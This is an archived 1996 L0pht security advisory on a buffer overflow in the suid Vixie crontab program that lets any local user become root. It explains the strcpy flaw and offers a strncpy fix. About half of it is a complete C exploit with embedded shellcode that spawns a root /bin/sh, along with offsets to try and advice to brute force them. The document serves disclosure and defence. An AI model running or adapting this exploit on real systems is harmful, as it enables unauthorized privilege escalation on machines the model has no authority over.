TUCoPS :: Unix :: General :: crontab.txt

Vixie crontab - any local user can gain root

Welp, we were meaning to get this out earlier but hey - things are
busy lately. Since Kevin Brintnall <kbrint@visi.com> brought up that
BSD/OS and FreeBSD are also vulnerable but didn't want to
post the code - we take it upon ourselves to do so.

Sorry for sitting on this for so long...

                         L0pht Security Advisory
                      Advisory released Dec 17 1996
                   Application: crontab (Vixie crontab)
                      Severity: any local user can
                          gain root priveledges.
                         Author: mudge@l0pht.com

Scenario:

Due to a problem with the code in crontab, a buffer overflow exists that
allows a user to overwrite the information in a saved stack frame. When
the function returns, the saved frame is popped off of the stack and
user supplied code can be executed.

Example:

> id
uid=621 (mudge) gid=200(users)
> ./cronny -92
Using offset (0xefbfdbc8)
# id
uid=621 (mudge) euid=0(root) gid=200(users)

Description:

When crontab, a suid root program, is run with just a filename as it's
only argument the argument is copied into the variable Filename[MAX_FNAME].
Since this copy is done via strcpy, no bounds checking is done on the
length of the string being handed in. The code snippit from crontab.c
is as follows:


  static char      Filename[MAX_FNAME];
  ...

  [ from parse_args(argc, argc) ]
  if (argv[optind] != NULL) {
    Option = opt_replace;
    (void) strcpy (Filename, argv[optind]);
  }

By placing a sufficently sized string in argv[1] it is possible to overwrite
the saved frame on the stack and, upon return from the routine execute
machine codes of the users contruction.

Solution:

One fix to the above problem is to replace the strcpy() with strncpy().

  if (argv[optind] != NULL) {
    Option = opt_replace;
    (void) strncpy(Filename, argv[optind], sizeof(Filename));
  }

However, this only takes care of _one_ of the exploitable buffer overflows
in crontab. Finding and fixing the others is left as an excercise to the
readers ;-) [yes, Theo - I know you have already fixed them in OpenBSD!]

Gratuitous plug:

OpenBSD has already fixed these problems in crontab around the date of
the exploit code below, if not a ways before. Talk about an OS with
pro-active security coders!

Exploit code:

/********************************************************************
 * crontab buffer overflow code - mudge@l0pht.com                   *
 * 10/12/96                                                         *
 *                                                                  *
 * So I was sitting here thinking... I know, it's a dangerous thing *
 * and you ever notice that hackers seem to have a surplus of time  *
 * on their hands? Well, I don't but hopefully if I keep coming out *
 * with things like this it will help to perpetuate the myth.       *
 *                                                                  *
 * There is a really cool buffer overflow in crond that bitwrior    *
 * spotted. So I figured that since the same person, Paul Vixie,    *
 * wrote crontab too that the same type of errors would probably be *
 * there. Sure enough!                                              *
 *                                                                  *
 * Ya gotta love command line overflows... just yank the code from  *
 * any existing one and brute on the new program. This is almost    *
 * verbatim from my modstat overflow.                               *
 *                                                                  *
 * try with offsets of -92, -348, 164, 296, 351 with the way this   *
 * is currently setup. If these fail, brute force it <grin>.        *
 *******************************************************************/

#include <stdio.h>
#include <stdlib.h>

long get_esp(void)
{
   __asm__("movl %esp, %eax\n");
}

main(int argc, char **argv)
{
   int i, j, offset;
   char *bar, *foo;
   unsigned long *esp_plus = NULL;


   char mach_codes[] =
   "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
   "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";


   if (argc == 2)
     offset = atoi(argv[1]);

   bar = malloc(4096);
   if (!bar){
     fprintf(stderr, "failed to malloc memory\n");
     exit(1);
   }

   foo = bar;  /* copy of original ptr */

   esp_plus = (long *)bar;
   for(i=0; i < 1024 ; i++)
     *(esp_plus++) = (get_esp() + offset);

   printf("Using offset (0x%x)\n", (get_esp() + offset));

   bar = (char *)esp_plus;

   for(j=0; j< strlen(mach_codes); j++)
     *(bar++) = mach_codes[j];

   *bar = 0;

   execl("/usr/bin/crontab", "crontab", foo, NULL);
}

mudge@l0pht.com
---
http://www.l0pht.com/advisories.html
---


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH